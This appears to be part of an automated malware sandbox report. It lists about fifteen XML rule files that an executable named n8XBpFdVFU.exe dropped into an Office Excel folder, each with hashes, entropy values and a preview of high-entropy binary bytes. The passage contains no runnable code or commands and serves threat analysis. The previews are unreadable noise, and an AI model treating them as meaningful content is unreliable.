SHA-512:	48012B274CA92F04D70A68B1D2C4300E9EDD3469D13CC270C41C87F599D652618BADDD923E9BBF54D32EA48F98B998F2BF4967AAEB151A1849C64F8B2589E7D4
Malicious:	false
Preview:	<?xml...1..b .=.?.Lsrd..F4.=751...&.%...................=..[V)..w...[e.....J....}i...%X.. .L...,H..k.bD.v.G.._....q.`.......i...[k.........mmb..y. .&..;.....P...%t>s......Y@..%...V....<..\.d@...V.Z.J........g.R}F....e....?t.......f8"I.\|.?...l...........z./^.....B.w.wW.sqB...'.X.}..DZ.N8......;..n.7YS.0=..t......ZYImh..T..b...!.1@!.".r.....".g.0._.+-...\|.{......-..C.S..A_.y....Cr..M@m.SG....{.....R..Dw......*7^..I.~O#....T......b...h:w].P.N3..[i....G.D..=^..H..2...xk.%. lO\|.A.n...m..Y.....P:o..OF...:j..2/..+Ulz..z..k...2P5.$....w...$.V...J.gc...:. .{Y.....GC.~zSs7..w..>......A.I....6....-...."?/CR/}.B..t.........J...8.....4..mh[.\..P.0...~..4.E.@..{.rG..t.._....k...Z,p.}........q........y..v.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.703365247070005
Encrypted:	false
SSDEEP:	12:O8V3XigVHqCGxJ1wqHsow5O7k1MWrHznvlmua0w7T1+cii9a:OUXigM9OoyO7kKWXvIltEbD
MD5:	CA30BEF4B712A9985A627F474DED153D
SHA1:	26D8D37AD472DEB6E2064B96EA19E50D58ABBCF3
SHA-256:	C3ADF1E1BD1587EAACEDE1A3E1836208D9BCC77DDFA21F1F5B0A2A21A9A6E367
SHA-512:	F0F4314FED9262FEE28B25AC6A92567CBFBE29156BFEDCA528AF6B42D61A904319DF0F8211EC12D9B03C59F1C31168FFA12028A8E3478F16EC5D41361DE3E1C9
Malicious:	false
Preview:	<?xml..;EI.....L&.P.B=G......[.O......."...D.\+...h..(..F..lL.n8@...2.m.<.....u,Op.......\Zc$'P....I;.L.of7$O...........9Y.....q.N`.X.R.,..~kX..LO......."@?.'=d..N.....1.l..1.....7.vH...........5..v2Q..K.........1`.y.B8.o.\|.."..V.6...+...~.?~+.0......@H.Q...<...C.g.$0.f..c`..O>NR).....P?o.B.....3.e.B.b.<rL.. .?.....U.#.n.S.K.f.k.".6L.E.&...5..9G...............D....f.2.w.....F.j.+.......\|.e..1.x5....vn.O.....].lk..'c..r._I..6...)MJ..&.H.....b'.NN....@.q}L..ed7...X.........~. .j9.^....~tJ+c.....G..Y..T..>.V.Gf........+ ........B.lX.j.6E...]...f..j.q...z!U..m.....,".D.....h...<2......9&.E.U.q#............f.........oV...h.J.`>\|..(L.h}dR...E...(.7......+.s..{.8.r..k%.F...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.705693890285239
Encrypted:	false
SSDEEP:	24:jt9EFWgHibiaa8Y1CQRbRWM1kNj/r5XE04aTRbD:B9GCbiauBf1izrZpTBD
MD5:	EDB17105945108A261323AC7AC4F401A
SHA1:	55325B77B727C0846F9858DE7A3D6590E7340BD8
SHA-256:	023F2891A28116FD8E92021F635188792F2B280514D15C93FC234FF8F32251D3
SHA-512:	196276BB43991FC8394C6F3F0B47E3D92181FEE3B8421BAD7C3C54FE64F7B630D8460711FAC17802EFE36D70459490DB66DEE38AA15708FC5D3888BF45615F40
Malicious:	false
Preview:	<?xml8:.... .$\<.g<....i...,6[m..4..a1Sz..}..K&g...y...R...D....{.).F^...s......3@.9.....Mu..^7..X&..N...Q9?0.2.w ..5T...-j...Zje......K...p).....;...........z.r..'`..{.Q...c..Aj.^.\Ak... 0.^.....B.^.CE.dm.._..W....4.M....\...A..Qc......e...H..&........>#...;.s{a..\|C.5..8.K.uk.\|>..&P.\|E5.f).'.>.~&.o......-.../.....(.b_.U.5..L..R.2..u.D....L...WY...n.2.b...1..cG8..5^".!..3....Y.ZL.R.*iB..t.....(+sd..E.\.3..........;...,.............{...Z..3.[.qtT.Q..?./.P.@...-AX.;.kT....)......L.91\|..[....8.......Y..q._W... .D...>".2=%..w9K?..2=B.)..-.`f..l!....EO...W..=SI.....Y.-Ki72.7j.....v.."'.i.4.._..T..Ws..8..Ea.....].,#.w.....r.F...a.1.....p.....K/V......N.r..1......S......../k^...KHRu._-%.-w)...V..S7\.. ~.....'.LSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.689449324840776
Encrypted:	false
SSDEEP:	12:HtL8E8s0DmhcHrJeRVzhlQKrB1ja0XuYvgv8qUFq40fOK0pWg1EOr6f1+cii9a:HVws6mhcLJ6v91jjuYvgEqUQaWmf/bD
MD5:	3BB5108C0CD632B23157C29D7572B9ED
SHA1:	E6FDF591BF34C77CE7BF88935376C0EBC11B0B96
SHA-256:	D2027E4CD9F229A469588A6037CA692F1ED3F854A58775A267E23229F677D742
SHA-512:	6E5CA07B49DB598CF5DBCE1DBB2C20A53D7E597319597011A0533397616DA42014688415AFA2E2E3381DFA42930925F27685F481CEC0E66DB1C8A6A69C000F3B
Malicious:	false
Preview:	<?xml....<....t. Y.Rn...l..4.A t1O..C..H..U...?.z.q0.......h....P.....)....1.]G.NvL.5=...S..i..a.l8H.m./......+..SK......?Sc[Lgxf..j....I..Y.z.._..\|..W...&.I.)O.K2.N=p......6.,!......Z..r.e..e0..JU...[...e.[..Y,lj....z..j.`....V..kl....1H...3.....W..a7a(....q.a.#[....Q.3ht....F..Tl7C.s^..>`D....a...0 ......>...]...8..EQ....46sl.Nl.y.gL..M..D3......Fi4s...n-][R7...6"..F..p.d.R.....h..d..`.n~r.gv..8NA.c..0.N.......}.H:Qe1..h.4".2a.,.Yaj.#...;:V k.n.z..A....,.i....mvL.")....].....6...E...0T.0].b`..v...'."..D.`V...$So.P.].........?Z..g"-...n.?..._..}.\....%.uY..N\.B....O.\.w.mL.y'..J>V}...o.'b.SQ3...r.3..P}i.mq....t........Iw....^.f500..tSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.719588334167251
Encrypted:	false
SSDEEP:	24:c/dOme3MUcOoobIccj9gKemprilT2J2QCq7IbIIEbD:ugDcdZoQv3p+w20IlOD
MD5:	BAC3676DB8F82DE9E9802614612988C0
SHA1:	E9F84AEAAF53B9459F9000C808234B495F4D14FE
SHA-256:	ED63030FBC57B8F1437DCE54CAFB11F46D761EED284834DE8F2DEE90C2950BF5
SHA-512:	F14D505BE152A26BA975CE0706744F749CA4CA0ED03646E2C026B8C02C937CE8FDA385C9523BBCAB31ECA7E668ED7454EA904E019F9F4E67649AD2CD44D5F873
Malicious:	false
Preview:	<?xml.,.q...-..2...E....?Z&{.q..Q%.a.lA.....w-...K....M$.k..8-..Vob.1.xG..lb8...p...3...+.V..s....<...@...6...j..:..lq....K..Rgx<.ID.lT....thW.l..]E9..=[...9....ZYdwl0.....B...:`Bk...9.o.O.p5I...n..J...w.4/$.....W..s.W..'&......~p@^>.'....5y....x...v.].8.+.}.X..`q...po...c../....[&.[v.Q..dK.B.[.7#.....GoH.5..7....Ow.....^...+N.i,\|....n.n..X....kDM.qN}g.HP}...j..yU.."......0D.mYy....?..-.[..8o}NG....Y.>.M..&.x..7K.b...o...:.S..Q*.f...9..k..I.5.)..=Z.S(K1.e?V5..9..-...l2\|.A.\|&0...y..H....$S.$...0.Z..3..1...Ka .4&....pF.._SWYn..\e.Z^...../..........p...QH......)..U...&\|9.....n.C.\.M.....Y....?....J%..x.13......;.....@{@<k...:........d'..eC0..F..EF.s.<.....[..}8?...O;....!..Q.X.q.....2..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.6930137021938005
Encrypted:	false
SSDEEP:	12:H93RuNUVpqpF0eU+R6NzABk4igNkhSFbxGtX1L6IDi5QXr3+FM/E+K1+cii9a:d3EYqpF0eU+cmS4/gexGZ1+H0OcdRbD
MD5:	0FC433F5839E35E04D240DA3AFF15CFE
SHA1:	6A29899E9235108A636F9757C3FF410D7875FA6E
SHA-256:	EC4BA453252696539F0AE0280FF2BE039891BBA17699D76108CA3C2FA16F639E
SHA-512:	36DBC58E4735883A6C192B3EA964BFA51DC86EE2BD8CEDB0FA354BA06375144F42246C69B80C13285C705136F4909E1EA0A67757220B22865DFB6B1C4FC8D3A9
Malicious:	false
Preview:	<?xml.oE.c..t..1......L..k.O.&.0..D(.\|mPz.....&....iwa...]..2U..$.^...TB.;.i.....K...ey..l......8..L...8.."...F............T.-._..z.6......{..5.....DoJ"R.......4.v..iz.<.........<T...o...Y..b..<.8...J..-.CH.OC......Mk.k`.`Pn....I....F.....F...2;..Z.9.j6......CA.sr.v.JAg"%...b.r.-....R.a.9"....+U..`G!.E.....G............%...}.X...gG<....S.....7..&...P..1.....\|o1yDx..?j...(....^../n.<8...x....1.e..2....xkr..{.M.[..,/=....T..",Vja..o.@R...g&..i......Mu..A....F.m.....^/%[.0..BXO..%.6.~.Z.....c;c....Go....+..,.^...VD.Q.]....4._.p....\|..P..}.\|.v....qAF..<..m,&...x.AO.4.f.O.Dp.4..mv+..}I8...wC......5=....r..r......(...i4....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.750373741788949
Encrypted:	false
SSDEEP:	24:BrGkfgNMpHHOoSzTkP04bnjAjt2KQ/5LHykuH0m3ebD:BlfgNMZHOdD4bjA5jIrItsD
MD5:	C50756CB847BB26E4BC58FE3F449F6FB
SHA1:	87125E67506DE670BEAB8C1E4836D9DF7BE2869A
SHA-256:	6F18A1BEC7914FEA2EF2A54E0D5CC27A18B0F2CC0D0BAE15A75801CE86782D12
SHA-512:	3B4BCB92A047EE04B995CA9C6B61FDE2CAF4AF2976D5E92A2894CAA58BC1A1CAF3BC7471A327C5181E6904BB884B151AB14250C2273706DC06BB1A647C27711B
Malicious:	false
Preview:	<?xml.DCk..tHA....;...).._..2...\|v..s........F.\|..d....h.5.<bE.......~.R.G5+r.~....0..'H.T~]_...&...8N.......U.Z...E.6.@(0.d...j..G.xX.JD......Y.m]......?........=L.&w0...N......i..^M...7.=O.....mfVC..t.p....: ?....xWl...8....i.....N..6../......`..[C....j..i...S.P.......a..W..P.z..L.".g.-,..';E...&.a....h........ .s..J.......4...P..5n..U<.a..E.b...O...._......^.rMZ.:..../........"...If.?7..mM7b..t..\.7..;....6\|....qC....z.\|.s.s.lX...`...Ox..{:?.z.!.`..o.L..>Y0.u..x.D...t...-..C8..'.i..M......}...y..&.....!.c...\|Wh.......t.......^...By.N...C....Fu....Nd).Y)..N.e.._.$...n_jy....I.......3GU.........A..J.n~u(.M..X.w....oa....q\|..5.b...A8..j.P..*.8.I.,..u..[.t..7.Eu-&..f9....b'.g..[=.!...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.695432431905577
Encrypted:	false
SSDEEP:	12:qq/WsBxlfzVfnjSncm0/F5iYt4wx40ZAq0247q4L/fSXApAv01sOM+qI0ypvsINT:cYlf8cH/F5Hewx4UAT2Wq4L/YHrv+qI3
MD5:	63B79CD9407208C0C5F97105DAF32859
SHA1:	F7B9D81C43E71A0AB043A2890E5498E8787824A2
SHA-256:	1EC2398FA1ED19FD3C89144E6B3E9F6F415554998DFDFA3291FD77CD1D4D3546
SHA-512:	3568E6AFCFCB986B5B66E6CDCC96A169E3584023818AEE568B9F26C3562F752284065C8BE7890E0CE6A8D3BB99761A98D43A5357A5055CB2DB512348062867F3
Malicious:	false
Preview:	<?xml....9.Olf....7.EO.@.;...Ot...^e..~.:...\..L,r.......y...2Ix.@...'U.}.d.m'.......q}#~....pP.JP166H.B>(..3..b3.?T....8....56.^..BbH..\.&....<.a..QL..X.........v..A...A.X.J...1.3v..N...E...u..cg.9.x...e....Z<.T0.D..7.M7.\.l..c.H>.I.G?.P1q...:....z...F.u.G../G~..CW\...u...V..U..KLJ_.D..FZM....r.,)6..@i..o...r%C7..U........g..Q`..N...@..k...,k...p.Ks.0M..[..5.v..~2C..c..Su...+.:#.H...x..5I~.../l.Z....a..\.K.H..R.\|.].....D..(.Gvi..S........T.pT..3.\|./.DH+.$:.3............gl..Oj.u..N,.'".L..........\|.yd>A. b..rM.PJ=..v.{.b.&.1L.a8...I...n.i.].K.@nW+..G....N.t.4Zj.#....ewu..]Xk........=<?..'-......U...{.+I......{E...$.3.............BdSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.719461159857692
Encrypted:	false
SSDEEP:	24:8NBB0mbXjo3PhH02rx1C1xWlOe5jVHwxibD:87Bvjjo3BcAlOSJD
MD5:	1C2270B6CFF4154355FAB9586AE4D50A
SHA1:	8409CBBF165B04591EC4DA05D74843FB8C4B26EF
SHA-256:	DAB5C190F54DFEA0F32A40124C7DF4E6D952420AD243A5E8AFE9CA259E9B92CF
SHA-512:	3FE04B8FC13D49C206291BEFB725BCB480B2757CAC52ACB48198983CF40D3A76A52A00B75C05B86CB037EFBF1E5B3512D196FAE82C5AFB107F4CC8CB9B2B2CEB
Malicious:	false
Preview:	<?xml...?..~..&.@.p.{....R.....X#..C....I..h9..`..".0a+..#..L.c....$H0......-.m.f..tT.jK...!.l.......).)..l.]........a...%._.'...Y.~&%.{..o.B/.h....+..@.7y.u..../Z......?......R=....&...J.......HI<.....j\....nA.....t...D.../.w...w.E.......Ju`.F.F..A.B.?;....`d.t...1.6.g.....<z.D..C..b........`......x..2....".w...'...[..8.sw.4l.4<G3..".z.x\|...mlZ]j...vPR.aN.E{.0{.j.X.....d... .h.....%..U....C/y.t.B.#.MCP.5.in.?....`BD/.M.j1q....Oe.M...N...Y m.A&U8M..........l@YO..o..Y.H.\D.1.a.pDQ9p\|.6.%.3..z.&.....XD9X...x....t\|......-..b.P..yb.5@......K.c.......]...T`.0..V...0..... .....0.A.E....j.....x....]-..Z..z....}..<=...`......V......../....Z.r.C..W.. ...v.......`9v0.J..F]...~....<."...ip.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.741179826538457
Encrypted:	false
SSDEEP:	12:mtxVlPTfc5FOjWgh00wPc+ju7s+8++s/RgTRjnLYcJXkMa1YkM3z1+cii9a:mXo6j700wPc+juw+HqPYynaikqAbD
MD5:	1049CEE7C132715C693DF12E9C93F25B
SHA1:	AFC022C4AD0A252B5DDFDAA99DD57F08E4675DB1
SHA-256:	FFCD1E1037CF6F150F532E945CBEFEE15EC595F104A762054783E8A9C345F090
SHA-512:	BD77A2B2D8B56C54B922C6EF2C2216D96A6DC60E8B9315F66AA18E1519BAC8CA12F626367F9967A8181E41D874CC7EDFC5B750655447C021CEA26FC741EDD494
Malicious:	false
Preview:	<?xml..q.L....+>.mO:c.>....B.-....z~}oZ++W.~..a..6.*..!..,..a.....^..z..W.I..`.y...^..T.....i..2.7."....E...h.'l........{O..V%.J.D8..P./.....O....8.....B..%_...A^......h....y....5v,.5.B.f..-.qy......7...',...W.wM......V.%.......[.. M./.....[...{t.g.J].j.Oo..h."C}.>R3y.=.Y@...UN..(...Y..y.g..H..$2....C.v..{.C.0_..:k.7H....VN.....FL.=.YT...w....JJ..S.....%dTA..CQ..xt#y:.T.z...E.! .......[.P..l..X.dh.l...U.B.R..F+.{ .b.tX)H.....R...%t....`9..S.x.\| d.Y.q.T.D....2~.~.....G.P...\|........-.\|...%.;....q...(...td0.a_-..R..9\|f..@..Y..xk..$Rp...!...n.(..9.....z9..QM.7..../...%...L..........F.......'!...wuL.5.H.q........:..t..Ny...z\.zuA.4.r-SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.750106095600803
Encrypted:	false
SSDEEP:	24:taTmd6hS3wBqT+A08d2DE2xOe2p/sn8WjbD:twmd6hS3cO+A08Mzce2p/M3D
MD5:	3723DEF91DC1546C19CE60A29CB6AEC0
SHA1:	22BF286EA2C009E816FCE09A6772887E6E123F56
SHA-256:	9F703496464789A52BC7F1181A1E486636168016311752A567EF27BFDF6827D5
SHA-512:	E6F86EBD974B668E5D9A66417B209E3E683F9934C974F879D25C8EC053A8B260C9107D91C1E89FA4920A449EAE5C5B6EFD8D9E6738A882403E34E3C4873D25C0
Malicious:	false
Preview:	<?xml....fZ.Z.....q'...d.9.........M.Z...2KJ.L..<.#q.s.\...M..q\|..\......Q.4X...WQ.\......3.JE..:.q.!v.mt7..`(Y.~.....<x{<#....1{..o...E.'.3....U.fX...\..v..x.2..5..^w.H..\.b........k...0'o...>6...F..9...E.}#P.."..6e....A.....M.........S..t......s.5>Z....Ru..q....Wz...u...D.3....Y.-J;{.$Q~.}i..R.ugt........]..Z.8.,.7..hm.6N....,..M0...r.Z.r&...CP-.g.hR"q..m...$"B....M-......:eU.N%...S....s!a..D.I...t...M?S....0..T8..7....zl!...f.X:..`.e.W?..o~E...6k.../).g"....8.....^..c..Ga.........I..d....Y...\|f:.!.....A ..Jg#.g.O.^.y.x.C(,"8.=eP......\|...y.......)@p....G..p.J....Dx.........+....Sqk+...Q.K...07..B..i...bP(S.D...}...,e......3S?._p..d.....d.d...U.9.p....lW.Y..`...Y.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.685479645816116
Encrypted:	false
SSDEEP:	12:c4GduJw5dHx3V2QZ8t//iKsCL+OkZ4GbUFFlLa6i9+M2igYUGIFXikdKLPHKo1+X:vGKwDp4QZU6KsT5KGb4La6szWpFykdOo
MD5:	DEB1BF7BE71E0AF4A1111C4437ACEB9C
SHA1:	CD98AAA733B76C96FB71D7D50208FE34F72B5952
SHA-256:	75ADBFC80CC02F1C61607D89DC20D2F6C9FC57D1E35409A03065BEA9D80FE7F5
SHA-512:	03CA8061AF420699E237DDC6871B0AD3D4D09AB1365F338C9DBE09FC827BE00B349640D6F1195B35FE4674BB68F28A087C615D540527AA26ADA21AF55D9DBEC0
Malicious:	false
Preview:	<?xmla$...1}..,.Zv;...x...1..y....K..UB.U..n.7b\.....}6.._.'.....m..L...........b...../o.Qx..{Y......,Z...X...UL.."..(..'A.B8....Y.-......`%.......].3.t.)fYx...f=.........8.m..^.U.1..D...5.....g...+.6....+K.2rv..,wpWF.!...g..q...Sc.......}......M.6.n!.....h....x.y..$..IB......&Gb.R..h....L!td.,6o.SR.g....}3.u.."...t\.8w......"...q(..'..G$....I.....k......~T.v.....-..d[\.b?-L..... .!...SM.<.7A..&..U+.Vh.....!..GZ8f...`.......I..{.f]V@j..a[I...X._.W..a,...B3U...(...~....W...1.....{$0.(.F.y..[q\..r.r..U7..[D..O..)\J..E....%../..A&...(t....f.......3*.\./:m..Vy9UR.4..F.$.._......$.a.`.L3[....z....)..(.i6.?.Gyw<G-j.q..b.).k\...>-SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7190594837726
Encrypted:	false
SSDEEP:	24:HDAzw5QyoTbklF2acZ45jwmCMnRFQXkehvsbD:EpV8l4ao45jwsRcR5mD
MD5:	F9D91C1BE97D19E764B016238FB04B88
SHA1:	9FD295AD7B63827DC0D1EFBD47584CD20FB9EF81
SHA-256:	CE74C0D2CB44245834A6E1490E379F366065D238CB35C5D00EAB8D379E685DA3
SHA-512:	3B76AC41BB5FB07F29DD51C9D49642D764B180C846C681048ED10B424808B00DB245A7C82D12400D8973771D7B2FB09092A12174E016DDD47D558193AD66598B
Malicious:	false
Preview:	<?xml..c..>o.aT.J....l.VFc..k.j^..\|}.k.@j{;..].(..%...R..6..c.:+.R.L..u....yN..dA\..a...c...q.P......w.~TH.{.......W..Sh^.3n.\.n...!:..{\|1[...i2....b.uMe.....J^V:<T ...F....b...-..u.[-h]K..(...r.....P._v.D~.]..k.k.]..;....&....... 5.....M...o..t..&0...y..,~A.......F..Sk.~...\|.q.q.....c....E'\H...=.33....2`..\|.......?.,..+...&..T.w.1".....v...I........Sp.....\|O.i... ..\|v......z...x.0...Y....5..3..E......<.CSL..{....._I5..e....H..=..\H..V..............Z.~6.BU..:....p}."4........7m.9.X.....11^...... B...;(.f.L.I4:J..Lv..=..t...+3..z...K.)50C.*;..Y.....kD...._..$......+.H._..L7&5T..I^.....7.J?.{2Pn.K..@...V..\nw.......5^6...Y..[.F.jcjrE..D@...#."S...a...._.4R_.Ak..]c)/.B'~.P....5.f.R...rSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.734683450589195
Encrypted:	false
SSDEEP:	24:o09ShbZ+z6KddvT1dsLN9HGWiM1jh3VLNubD:x9y+zdt1dEmWB3hOD
MD5:	312FCC6908D75854505C9280C9E83B2C
SHA1:	6EED26E8FC7FB3A57AB7E77CDC3DE75E9F726B2C
SHA-256:	8E1B943B11F2937A1B311893273AA05CF3FCDBA4CC5D4B913D2044EA7323F831
SHA-512:	46ACED26FF1811E29846E0D0BA705E822898E72A43E8D98CFF0B67C70FCC39853C59A5CA2DD91AA5F075DA4853086BD9420494CE470D18BF448101F23E65B6F9
Malicious:	false
Preview:	<?xml.@..I.....3...(,Z2YMjk.-..._U......m..}...D...,L.......p.4.e...P..2.{.f...F.N..chi.F...!.....W.N..].2.....Z.\.1..K"[X....!y}...E..^..y..w.q...e.....O..\|^.Q..&.?.K....$S6}.D]TVgN.....[vG^...=. .Q8.D..~a.P..3.....8...v..7@.gxz.J.....=$e.E[s.)8@.......,.M;.k{r=v{.....N8...h..,a..;L.L..,%nff.B.o[.1.2....#..ZU..Y.Tr....&R..k...:...'.;.x.0~.i2Z....B..Na..ST....6..>.5'!..T..Pj.\|.Vhci..13D.d.#.;....F...o\.....\|.9?.K....t.....Jj...iK...J.){...k{.p.X.k.....5.RQ.#&..r.b...'....Z.L...Z....X..\|....5...g.v.`Ti..6.Y.k...{`......u..m;p6........y...UK..a.d./t,..z\|....8C....o.+..O.-.....}.7m...\..i....}-.6....e...{...@.`B..-,S..hlvs.;h/pb\..vE..i.tL.G"...u&....K.]G.n>n:..e.ar.z^.....<..5xn..1%.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.753269209876892
Encrypted:	false
SSDEEP:	12:lckuxBxW6nvDGBe5GfWbqivIQXl6AgiD7HWS+hy/3btEnm2CrHXWQHI1+cii9a:6kAfWEvDWe1vIQXl2lhMtEmjGQDbD
MD5:	A9415259527AA20BF5F6FA2FBF350CA5
SHA1:	980A1AFEC2CF28BBBC17009A7D5FB99E9E91790C
SHA-256:	E5A9569B2BDBA225EF3E0EF9F139E8FB855B4AD693079EF088A4305B07BBA8AD
SHA-512:	FA01EF0A75EBFD324AA07C117AF0F3AA7F334C078B3D3F28E321AFD9B8636FEDAA799C643F2B7C32BA6F13BE51A7545B317E68EDC8169C1E51E7DDE028B46AFF
Malicious:	false
Preview:	<?xml..I~..F..;..yR...Ok7s..x.?.....\.B)..!.pq.U...[%Ck.XpS..............K.!.....N....W9.E.....3.9?VO.......J.Q"i....]S..c4`...gX%P.......].!.j.tq.....?......J...4Y......CIN.\.7=..B....j.`.5+..].....q.R.h....^...Q../X.Bi.T\|..1..K......(Z.......]#.-p.sI.Wr.....c./..z.Q'...!.,...G.i..h...,..uL...;....\.... 0.WA..<E...J..t.n..... .......l.4L.l..Z.[..e..T.d<....P.w...P...O[...8L..S..m..)DwL.a.2....N.Q7...aU.).".......1...K.M\|.W.i.....+.4...B....}_..g.......?.P.!....t.\|x.....u....@.ta.h.n..]..^..J.$.....^...e.........'...MS3...4.h..7#...,..9E.+yl.....p.....9.B-H....l..4.b!.h..Z.`6..........y..R..RQ.w8...f.A.gtf.Kl....].C..;<..&t1..8^..[..L0..0%_^1........_...>..h...o..\B..z....8G.Wj.XB....uZ....SaSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.706026018439559
Encrypted:	false
SSDEEP:	12:Y3MaKUsfKLNS3W/hhVPpBgyI9/TlEm49hRxEPpb1wNW4lEkPtia0rI1qF3OI1+cq:YUUsiLg3Gt4yI9/hEm0zmrSnsprIQ+jX
MD5:	5AF6B116A84CBCC7286CDE4E04D23CE2
SHA1:	1004A7C821575C224058735E8E2560ED24EE58A3
SHA-256:	490B3D3FFE98E10755EE6CBC2A4A71A7E2C78DF377F168CED2ABA023B730A85C
SHA-512:	5668FBC6396B667D5D7634AB6501D24CE6D2221BFDF3EBFD2A64BAE0CF32C121FAB9FC70DC756A094176CA7DCB1990E4DDA684A5C7E3D6DF66F22999BDA886A2
Malicious:	false
Preview:	<?xml%.(.lJ@"0}.(.L..%.K..).~.f.j.^.V,.......:Dp.sB.x9.H..'..Z.x...@...P.\..3...SK.B.W..KT....Q..B..VE6.s`8.[.r..b..#WT...C.q....<8}.\|....iH4x&....D...H.R.y..il.....Y...j..!.S]..o./.\|.F..(.{w4..Y.K.../.=.m.z.i..[....'...S...P.\|..ig...7.k...0.=.'#.OK...O.....i.$W....V..TR..OF...o.......c.T.-.........".{...q...IW.r.1..@T.w.z..].`7.%...t{R.0...5..V.).n.#.....-....[]Z...$.,e...o3/..p...Z..KV2..H...}...juW,..C.>(........EL+...6...y#.Y9..(......G..~;.Bc.+K...LN.#.8(eO.n..D#....^.1./(...aw..NH.+.l..S.X0...d..n.QS..."^.:J...<\..I......h..3....6..].r...i..j9B0.l.?....2_.. 